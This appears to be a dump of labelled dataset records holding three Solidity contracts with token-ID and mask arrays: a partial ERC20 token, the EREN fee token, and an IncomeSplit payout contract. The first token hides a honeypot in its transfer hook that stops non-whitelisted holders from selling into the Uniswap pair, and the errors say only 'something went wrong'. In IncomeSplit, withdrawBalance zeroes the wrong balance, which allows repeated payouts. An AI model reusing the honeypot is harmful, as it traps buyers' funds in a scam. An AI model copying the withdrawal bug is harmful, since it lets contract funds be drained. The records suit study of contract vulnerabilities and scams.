* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0));
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to) internal virtual {
if(to == uniswapV2Pair) {
require(_enable[from], "something went wrong");
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5840,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2861,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-24
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EREN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "EREN";
string private constant _symbol = "EREN";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x0dE94938E841B7eBDfe439e769f3b421e3AcF6C7);
_feeAddrWallet2 = payable(0x0D9B81B9613476beB9BD76AEe2E5dB54C4c07e7d);
_feeAddrWallet3 = payable(0xeDC697cAAa04cb11769865a49D2f1E4ee20AaA65);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 40000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5641,
1011,
2484,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
5478,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
24856,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
///@title Simple Organisation Management
///@author bsm - moonmission
///@version 0.4
///@date 11 Sep 2017
///@licence: MIT
pragma solidity ^0.4.15;
contract IncomeSplit {
struct Member {
uint memberIndex;
uint memberShares;
uint memberBalance;
}
/// Variables declarations
// Address of the contract owner.
// The owner is the only account which can add/update/remove a member to the organisation.
// The owner can also trigger fund withdrawals on behalf of another member.
// The owner is not a member by default.
// Can be changed using the changeOwner function.
address OWNER = 0x00cf7440B6E554EC5EeCfA8306761EBc5Bf412b8;
// We assign the Member structure to each address.
mapping (address => Member) private Members;
address[] private index;
uint totalShares;
modifier onlyBy(address _user) {
require(msg.sender == _user);
_;
}
modifier isUser(address _user) {
require(index[Members[_user].memberIndex] == _user);
_;
}
event LogIncomeAllocation(address _address, uint _amount);
event LogWithdrawal(address _address, uint _amount);
event LogNewOwner(address _address);
function changeOwner(address _newOwner) onlyBy(OWNER) returns(bool success) {
OWNER = _newOwner;
LogNewOwner(_newOwner);
return true;
}
function getTotalShares() public constant returns(uint) {
return totalShares;
}
function getMember(address _address) public constant returns(uint _index, uint _shares, uint _balance) {
_index = Members[_address].memberIndex;
_shares = Members[_address].memberShares;
_balance = Members[_address].memberBalance;
return(_index, _shares, _balance);
}
function getMemberCount() public constant returns(uint) {
return index.length;
}
function getMemberAtIndex(uint _index) public constant returns(address) {
return index[_index];
}
function addMember(address _address, uint _shares) onlyBy(OWNER) returns(bool success) {
Members[_address].memberShares = _shares;
Members[_address].memberIndex = index.push(_address) - 1;
totalShares += _shares;
return true;
}
function updateMember(address _address, uint _shares) onlyBy(OWNER) isUser(_address) returns(bool success) {
uint oldShares = Members[_address].memberShares;
Members[_address].memberShares = _shares;
totalShares += (_shares - oldShares);
return true;
}
function deleteMember(address _address) onlyBy(OWNER) isUser(_address) returns(bool success) {
uint rowToDelete = Members[_address].memberIndex;
address keyToMove = index[index.length - 1];
index[rowToDelete] = keyToMove;
Members[keyToMove].memberIndex = rowToDelete;
index.length--;
return true;
}
function incomeAllocation() payable {
uint toBeAllocated = msg.value;
for (uint i = 0; i < index.length; i++) {
uint allocationRatio = Members[index[i]].memberShares * 1000000000 / totalShares;
Members[index[i]].memberBalance += (toBeAllocated * allocationRatio / 1000000000);
LogIncomeAllocation(index[i], Members[index[i]].memberBalance);
}
}
function selfWithdrawBalance() isUser(msg.sender) returns(bool success) {
uint amount = Members[msg.sender].memberBalance;
Members[msg.sender].memberBalance = 0;
msg.sender.transfer(amount);
LogWithdrawal(msg.sender, amount);
return true;
}
function withdrawBalance(address _address) onlyBy(OWNER) isUser(_address) returns(bool success) {
uint amount = Members[_address].memberBalance;
Members[msg.sender].memberBalance = 0;
_address.transfer(amount);
LogWithdrawal(_address, amount);
return true;
}
function() payable {
if (msg.value == 0) {
selfWithdrawBalance();
} else {
incomeAllocation();
}
}
} | True | [
101,
1013,
1013,
1013,
1030,
2516,
3722,
5502,
2968,
1013,
1013,
1013,
1030,
3166,
18667,
2213,
1011,
4231,
25481,
1013,
1013,
1013,
1030,
2544,
1014,
1012,
1018,
1013,
1013,
1013,
1030,
3058,
2340,
19802,
2418,
1013,
1013,
1013,
1030,
11172,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2321,
1025,
3206,
29373,
24759,
4183,
1063,
2358,
6820,
6593,
2266,
1063,
21318,
3372,
2266,
22254,
10288,
1025,
21318,
3372,
2372,
8167,
2229,
1025,
21318,
3372,
2266,
26657,
1025,
1065,
1013,
1013,
1013,
10857,
8170,
2015,
1013,
1013,
4769,
1997,
1996,
3206,
3954,
1012,
1013,
1013,
1996,
3954,
2003,
1996,
2069,
4070,
2029,
2064,
5587,
1013,
10651,
1013,
6366,
1037,
2266,
2000,
1996,
5502,
1012,
1013,
1013,
1996,
3954,
2064,
2036,
9495,
4636,
10534,
2015,
2006,
6852,
1997,
2178,
2266,
1012,
1013,
1013,
1996,
3954,
2003,
2025,
1037,
2266,
2011,
12398,
1012,
1013,
1013,
2064,
2022,
2904,
2478,
1996,
2689,
12384,
2121,
3853,
1012,
4769,
3954,
1027,
1014,
2595,
8889,
2278,
2546,
2581,
22932,
2692,
2497,
2575,
2063,
24087,
2549,
8586,
2629,
4402,
2278,
7011,
2620,
14142,
2575,
2581,
2575,
2487,
15878,
2278,
2629,
29292,
23632,
2475,
2497,
2620,
1025,
1013,
1013,
2057,
23911,
1996,
2266,
3252,
2000,
2169,
4769,
1012,
12375,
1006,
4769,
1027,
1028,
2266,
1007,
2797,
2372,
1025,
4769,
1031,
1033,
2797,
5950,
1025,
21318,
3372,
21948,
8167,
2229,
1025,
16913,
18095,
2069,
3762,
1006,
4769,
1035,
5310,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
1035,
5310,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2003,
20330,
1006,
4769,
1035,
5310,
1007,
1063,
5478,
1006,
5950,
1031,
2372,
1031,
1035,
5310,
1033,
1012,
2266,
22254,
10288,
1033,
1027,
1027,
1035,
5310,
1007,
1025,
1035,
1025,
1065,
2724,
8833,
2378,
9006,
15879,
4135,
10719,
1006,
4769,
1035,
4769,
1010,
21318,
3372,
1035,
3815,
1007,
1025,
2724,
8833,
24415,
7265,
13476,
1006,
4769,
1035,
4769,
1010,
21318,
3372,
1035,
3815,
1007,
1025,
2724,
8833,
2638,
12155,
7962,
2121,
1006,
4769,
1035,
4769,
1007,
1025,
3853,
2689,
12384,
2121,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2069,
3762,
1006,
3954,
1007,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
3954,
1027,
1035,
2047,
12384,
2121,
1025,
8833,
2638,
12155,
7962,
2121,
1006,
1035,
2047,
12384,
2121,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
2131,
3406,
9080,
7377,
6072,
1006,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
21948,
8167,
2229,
1025,
1065,
3853,
2131,
4168,
21784,
1006,
4769,
1035,
4769,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
1035,
5950,
1010,
21318,
3372,
1035,
6661,
1010,
21318,
3372,
1035,
5703,
1007,
1063,
1035,
5950,
1027,
2372,
1031,
1035,
4769,
1033,
1012,
2266,
22254,
10288,
1025,
1035,
6661,
1027,
2372,
1031,
1035,
4769,
1033,
1012,
2372,
